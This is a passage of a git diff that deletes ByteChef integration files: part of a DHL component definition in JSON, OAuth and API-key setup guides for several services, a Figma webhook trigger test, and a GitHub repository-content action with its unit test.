-          } ],
-          "label": "Shipments",
-          "maxItems": null,
-          "metadata": { },
-          "minItems": null,
-          "multipleValues": null,
-          "name": "shipments",
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": "Add to Shipments",
-          "required": false,
-          "type": "ARRAY"
-        }, {
-          "advancedOption": null,
-          "controlType": "ARRAY_BUILDER",
-          "defaultValue": null,
-          "description": "An array of business services, where should be potentially shipment found.",
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "items": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "An array of business services, where should be potentially shipment found.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": null,
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          } ],
-          "label": "Possible Additional Shipments Url",
-          "maxItems": null,
-          "metadata": { },
-          "minItems": null,
-          "multipleValues": null,
-          "name": "possibleAdditionalShipmentsUrl",
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": "Add to Possible Additional Shipments Url",
-          "required": false,
-          "type": "ARRAY"
-        } ],
-        "required": null,
-        "type": "OBJECT"
-      },
-      "sampleOutput": null
-    },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "The tracking number of the shipment for which to return the information.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Tracking Number",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": {
-        "type": "QUERY"
-      },
-      "minLength": null,
-      "name": "trackingNumber",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": true,
-      "type": "STRING"
-    } ],
-    "title": "Track Shipment",
-    "type": {
-      "name": "TOOLS",
-      "key": "tools",
-      "label": "Tools",
-      "multipleElements": true,
-      "required": false
-    },
-    "workflowNodeDescription": null
-  } ],
-  "componentCategories": [ {
-    "name": "customer-support",
-    "label": "Customer Support"
-  } ],
-  "connection": {
-    "authorizationRequired": null,
-    "authorizations": [ {
-      "acquire": null,
-      "apply": null,
-      "authorizationCallback": null,
-      "authorizationUrl": null,
-      "clientId": null,
-      "clientSecret": null,
-      "description": null,
-      "detectOn": null,
-      "name": "api_key",
-      "oauth2AuthorizationExtraQueryParameters": null,
-      "pkce": null,
-      "properties": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": "DHL-API-Key",
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": true,
-        "label": "Key",
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "key",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      }, {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": "API Key",
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "value",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      } ],
-      "refresh": null,
-      "refreshOn": null,
-      "refreshToken": null,
-      "refreshUrl": null,
-      "scopes": null,
-      "title": "API Key",
-      "tokenUrl": null,
-      "type": "API_KEY"
-    } ],
-    "baseUri": { },
-    "help": null,
-    "processErrorResponse": null,
-    "properties": null,
-    "test": null,
-    "version": 1
-  },
-  "customAction": true,
-  "customActionHelp": {
-    "body": "DHL Developer documentation",
-    "learnMoreUrl": "https://developer.dhl.com/"
-  },
-  "description": "DHL is the global leader in the logistics industry. Specializing in international shipping, courier services and transportation.",
-  "icon": "path:assets/dhl.svg",
-  "metadata": null,
-  "name": "dhl",
-  "resources": null,
-  "tags": null,
-  "title": "DHL",
-  "triggers": [ ],
-  "unifiedApi": null,
-  "version": 1
-}
\ No newline at end of file
diff --git a/server/libs/modules/components/discord/src/main/resources/connection.mdx b/server/libs/modules/components/discord/src/main/resources/connection.mdx
deleted file mode 100644
index 815f3d1fb43..00000000000
--- a/server/libs/modules/components/discord/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,8 +0,0 @@
-![anl-c-discord-md](https://static.scarf.sh/a.png?x-pxid=8dad9aeb-34e5-47b6-917f-5423fe8d2b0c)
-## Connection Setup
-
-[Setting up OAuth2](https://discordjs.guide/preparations/adding-your-bot-to-servers.html#bot-invite-links)
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/31087152-2446-4f70-a391-79f49c45190a?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/docusign/src/main/resources/connection.mdx b/server/libs/modules/components/docusign/src/main/resources/connection.mdx
deleted file mode 100644
index 412170cc0b2..00000000000
--- a/server/libs/modules/components/docusign/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,22 +0,0 @@
-## Connection Setup
-
-### Create DocuSign App
-
-1. Navigate to [DocuSign Admin page](https://apps-d.docusign.com/admin/apps-and-keys).
-2. Click on "Add App and Integration Key".
-3. Enter app name and click on "Create App".
-4. Here you can see your "Integration Key".
-5. Select "Third-party integration key".
-6. Click here.
-7. Click on "Add Secret Key".
-8. Copy your "Secret Key" because you will not be able to access it again.
-9. Click on "Add URI".
-10. Add https://app.bytechef.io/callback or http://127.0.0.1:5173/callback.
-11. Click this icon.
-12. Check every HTTP method.
-13. Click on "Save".
-14. Here you can see "API Account ID" and "Account Base URI".
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/c280627b-cbad-41db-a37f-ce77ccb01c01?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/dropbox/src/main/resources/connection.mdx b/server/libs/modules/components/dropbox/src/main/resources/connection.mdx
deleted file mode 100644
index 583959713b8..00000000000
--- a/server/libs/modules/components/dropbox/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,21 +0,0 @@
-![anl-c-dropbox-md](https://static.scarf.sh/a.png?x-pxid=8999e724-f122-49be-a4bb-139c6576aec3)
-## Connection Setup
-
-Connect Dropbox to ByteChef using OAuth 2.0 (Authorization Code).
-
-### Create a Dropbox OAuth app
-
-1. Open the [App Console](https://www.dropbox.com/developers/apps). Click on **Create app**.
-2. In Choose an API, select Scoped access. Choose the type of access you need and enter a name for your app. Click **Create app**.
-3. Add the ByteChef OAuth redirect (callback) URL(s):
-    - Cloud: `https://app.bytechef.io/callback`
-    - Local development: `http://localhost:5173/callback`
-4. Click on **Show**.
-5. Copy the **App key** and **Secret**.
-6. Go to **Permissions** tab.
-7. Select scopes: `files.metadata.write`, `files.content.write` and `openId`.
-8. Click **Submit**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/756fb792-9de7-4ac9-b58a-c8c8a95fab66?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/elevenlabs/src/main/resources/connection.mdx b/server/libs/modules/components/elevenlabs/src/main/resources/connection.mdx
deleted file mode 100644
index aaef9c711bb..00000000000
--- a/server/libs/modules/components/elevenlabs/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,16 +0,0 @@
-## Connection Setup
-
-### Find OAuth Client ID and Client Secret
-
-1. Navigate to your dashboard.
-2. Click on **Developers**.
-3. Click on **Create an API Key**.
-4. Click on **Create Key**.
-5. Enable desired endpoints.
-6. Click on **Create Key**.
-7. Click on **Copy to Clipboard**.
-8. Click on **Close**
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/35f5cbb1-df9f-4d67-a5d0-794d3e8d6752?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/encharge/src/main/resources/connection.mdx b/server/libs/modules/components/encharge/src/main/resources/connection.mdx
deleted file mode 100644
index 2d45835300e..00000000000
--- a/server/libs/modules/components/encharge/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,10 +0,0 @@
-## Connection Setup
-
-1. Login to your Encharge dashboard.
-2. Click on your profile icon in the top right corner and select **Your Account**.
-3. Copy **API Key** and use it in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/UFF1mx0JnE56hKDlrOYq?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
-
diff --git a/server/libs/modules/components/figma/src/main/resources/connection.mdx b/server/libs/modules/components/figma/src/main/resources/connection.mdx
deleted file mode 100644
index 8f5a203f8f0..00000000000
--- a/server/libs/modules/components/figma/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,28 +0,0 @@
-## Connection Setup
-
-### Create a Figma OAuth App
-
-1. Go to https://www.figma.com/developers/apps (or click “My Apps” in the top toolbar).
-2. Click **Create a new app** (top-right).
-3. Enter a name for your OAuth app and select a Team/Organization. The app must be associated with a team or organization.
-4. Click **Create**.
-5. Copy the **Client ID** and **Client Secret** and store them securely.
-   - Figma shows the Client Secret only once. You’ll need it for token exchange and refreshing access tokens.
-
-### Configure OAuth Scopes
-
-On the OAuth scopes page, select the scopes your app needs. For the ByteChef Figma connector, enable:
-
-- `file_comments:read`
-- `file_comments:write`
-- `webhooks:write`
-
-### Set the Redirect URI
-
-Add the ByteChef OAuth2 callback URL as a Redirect URI in your Figma app:
-
-- Example cloud URL: `https://app.bytechef.io/callback`
-- Example local URL: `http://127.0.0.1:5173/callback`
-
-If you run ByteChef with a custom domain, the pattern is: `<YOUR_PUBLIC_URL>/callback`.
-
diff --git a/server/libs/modules/components/figma/src/main/resources/getComments.mdx b/server/libs/modules/components/figma/src/main/resources/getComments.mdx
deleted file mode 100644
index ef9912c4d4f..00000000000
--- a/server/libs/modules/components/figma/src/main/resources/getComments.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Find File Key
-
-To find a Figma file key, copy the alphanumeric string located between `/file/` (or `/design/`, `/proto/`, etc.) and the file name in the browser URL. For example, in `https://www.figma.com/file/ABC123456/File-Name`, the file key is `ABC123456`. You can also right-click a file in the desktop app and select **Copy link** to extract it.
diff --git a/server/libs/modules/components/figma/src/main/resources/newComment.mdx b/server/libs/modules/components/figma/src/main/resources/newComment.mdx
deleted file mode 100644
index 48eee106b5b..00000000000
--- a/server/libs/modules/components/figma/src/main/resources/newComment.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Find Team ID
-
-To find your Figma Team ID, open the Figma web browser app, click on your team name in the left-hand sidebar, and copy the long numerical string located after `/team/` in the URL bar (e.g., `figma.com/team/123456789/team-name`).
diff --git a/server/libs/modules/components/figma/src/main/resources/postComment.mdx b/server/libs/modules/components/figma/src/main/resources/postComment.mdx
deleted file mode 100644
index ef9912c4d4f..00000000000
--- a/server/libs/modules/components/figma/src/main/resources/postComment.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Find File Key
-
-To find a Figma file key, copy the alphanumeric string located between `/file/` (or `/design/`, `/proto/`, etc.) and the file name in the browser URL. For example, in `https://www.figma.com/file/ABC123456/File-Name`, the file key is `ABC123456`. You can also right-click a file in the desktop app and select **Copy link** to extract it.
diff --git a/server/libs/modules/components/figma/src/test/java/com/bytechef/component/figma/trigger/FigmaNewCommentTriggerTest.java b/server/libs/modules/components/figma/src/test/java/com/bytechef/component/figma/trigger/FigmaNewCommentTriggerTest.java
deleted file mode 100644
index 74ae8745546..00000000000
--- a/server/libs/modules/components/figma/src/test/java/com/bytechef/component/figma/trigger/FigmaNewCommentTriggerTest.java
+++ /dev/null
@@ -1,151 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.figma.trigger;
-
-import static com.bytechef.component.figma.constant.FigmaConstants.ID;
-import static com.bytechef.component.figma.constant.FigmaConstants.TEAM_ID;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.mockStatic;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TriggerContext;
-import com.bytechef.component.definition.TriggerDefinition.WebhookBody;
-import com.bytechef.component.definition.TriggerDefinition.WebhookEnableOutput;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Map;
-import java.util.UUID;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-import org.mockito.MockedStatic;
-
-/**
- * @author Monika Kušter
- */
-class FigmaNewCommentTriggerTest {
-
-    private final ArgumentCaptor<Http.Body> bodyArgumentCaptor = forClass(Http.Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Http.Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final Http.Executor mockedExecutor = mock(Http.Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Object mockedObject = mock(Object.class);
-    private Parameters mockedParameters;
-    private final Http.Response mockedResponse = mock(Http.Response.class);
-    private final TriggerContext mockedTriggerContext = mock(TriggerContext.class);
-    private final WebhookBody mockedWebhookBody = mock(WebhookBody.class);
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testWebhookEnable() {
-        mockedParameters = MockParametersFactory.create(Map.of(TEAM_ID, "abc"));
-        String webhookUrl = "testWebhookUrl";
-        UUID uuid = UUID.randomUUID();
-
-        try (MockedStatic<UUID> uuidMockedStatic = mockStatic(UUID.class)) {
-            uuidMockedStatic.when(UUID::randomUUID)
-                .thenReturn(uuid);
-
-            when(mockedTriggerContext.http(httpFunctionArgumentCaptor.capture()))
-                .thenAnswer(inv -> {
-                    ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                    return value.apply(mockedHttp);
-                });
-            when(mockedHttp.post(stringArgumentCaptor.capture()))
-                .thenReturn(mockedExecutor);
-            when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-                .thenReturn(mockedExecutor);
-            when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-                .thenReturn(mockedExecutor);
-            when(mockedExecutor.execute())
-                .thenReturn(mockedResponse);
-            when(mockedResponse.getBody(any(TypeReference.class)))
-                .thenReturn(Map.of(ID, "abc"));
-
-            WebhookEnableOutput webhookEnableOutput = FigmaNewCommentTrigger.webhookEnable(
-                mockedParameters, null, webhookUrl, "", mockedTriggerContext);
-
-            WebhookEnableOutput expectedWebhookEnableOutput = new WebhookEnableOutput(Map.of(ID, "abc"), null);
-
-            assertEquals(expectedWebhookEnableOutput, webhookEnableOutput);
-
-            ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-            assertNotNull(capturedFunction);
-
-            ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-            Http.Configuration configuration = configurationBuilder.build();
-            Http.ResponseType responseType = configuration.getResponseType();
-
-            assertEquals(Http.ResponseType.Type.JSON, responseType.getType());
-            assertEquals("/v2/webhooks", stringArgumentCaptor.getValue());
-
-            assertEquals(
-                Http.Body.of(
-                    Map.of("event_type", "FILE_COMMENT", TEAM_ID, "abc", "endpoint", webhookUrl, "passcode", uuid),
-                    Http.BodyContentType.JSON),
-                bodyArgumentCaptor.getValue());
-        }
-    }
-
-    @Test
-    void testWebhookDisable() {
-        mockedParameters = MockParametersFactory.create(Map.of(ID, "xy"));
-
-        when(mockedTriggerContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.delete(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-
-        FigmaNewCommentTrigger.webhookDisable(null, null, mockedParameters, "", mockedTriggerContext);
-
-        ContextFunction<Http, Http.Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-        assertEquals("/v2/webhooks/xy", stringArgumentCaptor.getValue());
-    }
-
-    @Test
-    void testWebhookRequest() {
-        when(mockedWebhookBody.getContent())
-            .thenReturn(mockedObject);
-
-        Object result = FigmaNewCommentTrigger.webhookRequest(
-            null, null, null, null, mockedWebhookBody,
-            null, null, null);
-
-        assertEquals(mockedObject, result);
-    }
-}
diff --git a/server/libs/modules/components/freshdesk/src/main/resources/connection.mdx b/server/libs/modules/components/freshdesk/src/main/resources/connection.mdx
deleted file mode 100644
index c617b683012..00000000000
--- a/server/libs/modules/components/freshdesk/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Find API Key
-
-1. Navigate to your [Freshworks](https://www.freshworks.com/) dashboard.
-2. Click on **Login**.
-3. Login to your account.
-4. Click on **Continue**.
-5. Choose your Freshdesk account.
-6. Click on your Profile icon.
-7. Click on **Profile settings**.
-8. Click on **View API Key** and verify you are not a robot.
-9. Here you can see your **API Key**.
-10. Done 🚀.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/f16c9d6e-cccb-4c72-85e5-b9f26a964b73?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/github/src/main/java/com/bytechef/component/github/action/GithubGetRepositoryContentAction.java b/server/libs/modules/components/github/src/main/java/com/bytechef/component/github/action/GithubGetRepositoryContentAction.java
deleted file mode 100644
index e9f1e0c7260..00000000000
--- a/server/libs/modules/components/github/src/main/java/com/bytechef/component/github/action/GithubGetRepositoryContentAction.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.github.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.Context.Http.ResponseType;
-import static com.bytechef.component.definition.Context.Http.responseType;
-import static com.bytechef.component.github.constant.GithubConstants.NAME;
-import static com.bytechef.component.github.constant.GithubConstants.OWNER;
-import static com.bytechef.component.github.constant.GithubConstants.OWNER_PROPERTY;
-import static com.bytechef.component.github.constant.GithubConstants.PATH;
-import static com.bytechef.component.github.constant.GithubConstants.REPOSITORY;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import java.nio.charset.StandardCharsets;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-import java.util.stream.Collectors;
-
-/**
- * @author Ivona Pavela
- */
-public class GithubGetRepositoryContentAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getRepositoryContent")
-        .title("Get Repository Content")
-        .description(
-            "Gets the contents of a file or directory in a repository. If the content is a directory, the response " +
-                "will be each item in the directory and if the content is a file, the response will be file as a string.")
-        .properties(
-            OWNER_PROPERTY,
-            string(REPOSITORY)
-                .label("Repository")
-                .description("Repository where the content is located.")
-                .required(true),
-            string(PATH)
-                .label("Path")
-                .description("Path to the file or the directory.")
-                .required(true))
-        .output(outputSchema(string()))
-        .perform(GithubGetRepositoryContentAction::perform);
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        Object response = context
-            .http(http -> http.get("/repos/" +
-                inputParameters.getRequiredString(OWNER) + "/" +
-                inputParameters.getRequiredString(REPOSITORY) + "/contents/" +
-                inputParameters.getString(PATH)))
-            .configuration(responseType(ResponseType.JSON))
-            .execute()
-            .getBody(new TypeReference<>() {});
-
-        if (response instanceof Map<?, ?> file) {
-            String content = (String) file.get("content");
-
-            return content == null ? "" : new String(
-                context.encoder(encoder -> encoder.base64Decode(content.replaceAll("\\s", ""))),
-                StandardCharsets.UTF_8);
-        }
-
-        if (response instanceof List<?> directory) {
-            return directory.stream()
-                .filter(Map.class::isInstance)
-                .map(Map.class::cast)
-                .map(m -> m.get(NAME))
-                .filter(Objects::nonNull)
-                .map(Object::toString)
-                .collect(Collectors.joining("\n"));
-        }
-
-        return "";
-    }
-}
diff --git a/server/libs/modules/components/github/src/main/resources/connection.mdx b/server/libs/modules/components/github/src/main/resources/connection.mdx
deleted file mode 100644
index d67a576a1ed..00000000000
--- a/server/libs/modules/components/github/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,19 +0,0 @@
-## Connection Setup
-
-1. Login to your GitHub account.
-2. Click on your profile icon in the top right corner.
-3. Select **Settings** from the dropdown menu.
-4. In the left sidebar, click on **Developer settings**.
-5. In the left sidebar, click on **OAuth Apps**.
-6. Click on **New OAuth App**.
-7. Fill in the required fields:
-    - **Application name**: Enter a name for your application (e.g., `Test App`).
-    - **Homepage URL**: Provide the homepage URL for your application (e.g., `https://www.bytechef.io/`).
-    - **Authorization callback URL**: Specify the URL where users will be redirected after authorization (e.g., `http://127.0.0.1:5173/callback`).
-8. Click **Register application**.
-9. Click on **Generate a new client secret**.
-10. Copy the **Client ID** and **Client Secret** for later use.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/bhsAUb5TGIexsFuLBica?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/github/src/test/java/com/bytechef/component/github/action/GithubGetRepositoryContentActionTest.java b/server/libs/modules/components/github/src/test/java/com/bytechef/component/github/action/GithubGetRepositoryContentActionTest.java
deleted file mode 100644
index dc27fbe3cac..00000000000
--- a/server/libs/modules/components/github/src/test/java/com/bytechef/component/github/action/GithubGetRepositoryContentActionTest.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.github.action;
-
-import static com.bytechef.component.github.constant.GithubConstants.NAME;
-import static com.bytechef.component.github.constant.GithubConstants.OWNER;
-import static com.bytechef.component.github.constant.GithubConstants.PATH;
-import static com.bytechef.component.github.constant.GithubConstants.REPOSITORY;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Encoder;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.Base64;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Ivona Pavela
- */
-class GithubGetRepositoryContentActionTest extends AbstractGithubActionTest {
-
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Encoder, byte[]>> encoderFunctionArgumentCaptor =
-        ArgumentCaptor.forClass(ContextFunction.class);
-    private final Encoder mockedEncoder = mock(Encoder.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.of(OWNER, "testOwner", REPOSITORY, "testRepo", PATH, "test"));
-
-    @BeforeEach
-    void setUp() {
-        when(mockedHttp.get(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(Map.of());
-        when(mockedActionContext.encoder(encoderFunctionArgumentCaptor.capture()))
-            .thenAnswer(invocation -> encoderFunctionArgumentCaptor.getValue()
-                .apply(mockedEncoder));
-        when(mockedEncoder.base64Decode(any(String.class)))
-            .thenAnswer(invocation -> Base64.getDecoder()
-                .decode(invocation.getArgument(0, String.class)));
-    }
-
-    @Test
-    void testPerformWhenItReturnsFile() throws Exception {
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(Map.of("content", "dGVzdA=="));
-
-        String result = (String) executePerformFunction(
-            GithubGetRepositoryContentAction.ACTION_DEFINITION, mockedParameters);
-
-        assertEquals("test", result);
-    }
-
-    @Test
-    void testPerformWhenItReturnsDirectory() throws Exception {
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(List.of(
-                Map.of(NAME, "test1"),
-                Map.of(NAME, "test2")));
-
-        String result = (String) executePerformFunction(
-            GithubGetRepositoryContentAction.ACTION_DEFINITION, mockedParameters);
-
-        assertEquals("test1\ntest2", result);
-    }
-
-    @Test
-    void testPerform() throws Exception {
-        String result = (String) executePerformFunction(
-            GithubGetRepositoryContentAction.ACTION_DEFINITION, mockedParameters);
-
-        assertEquals("", result);
-        assertEquals("/repos/testOwner/testRepo/contents/test", stringArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/gitlab/src/main/resources/connection.mdx b/server/libs/modules/components/gitlab/src/main/resources/connection.mdx
deleted file mode 100644
index e57a16233c3..00000000000
--- a/server/libs/modules/components/gitlab/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,16 +0,0 @@
-## Connection Setup
-
-1. Login to your GitLab account.
-2. Click on your profile icon in the top right corner and select **Edit profile**.
-3. On the left sidebar, select **Applications**.
-4. Click on **Add new application**.
-5. Fill in the required fields:
-    - **Name**: Enter a name for your application (e.g., `Test App`).
-    - **Redirect URI**: Specify the URI where users will be redirected after authorization (e.g., `http://127.0.0.1:5173/callback`).
-6. Select OAuth 2 Scopes. For the ByteChef connector, enable: `api`.
-7. Click on **Save application**.
-8. Copy the **Application ID** as Client ID and **Secret** as Client Secret and use it in ByteChef.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(53.05219207% + 32px)'}}>
-<iframe src="https://www.guidejar.com/embed/kcgOnF9seW2JSJpxX99R?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/gitlab/src/main/resources/createCommentOnIssue.mdx b/server/libs/modules/components/gitlab/src/main/resources/createCommentOnIssue.mdx
deleted file mode 100644
index cdc48e3baeb..00000000000
--- a/server/libs/modules/components/gitlab/src/main/resources/createCommentOnIssue.mdx
+++ /dev/null
@@ -1,5 +0,0 @@
-#### Find Project ID and Issue ID
-
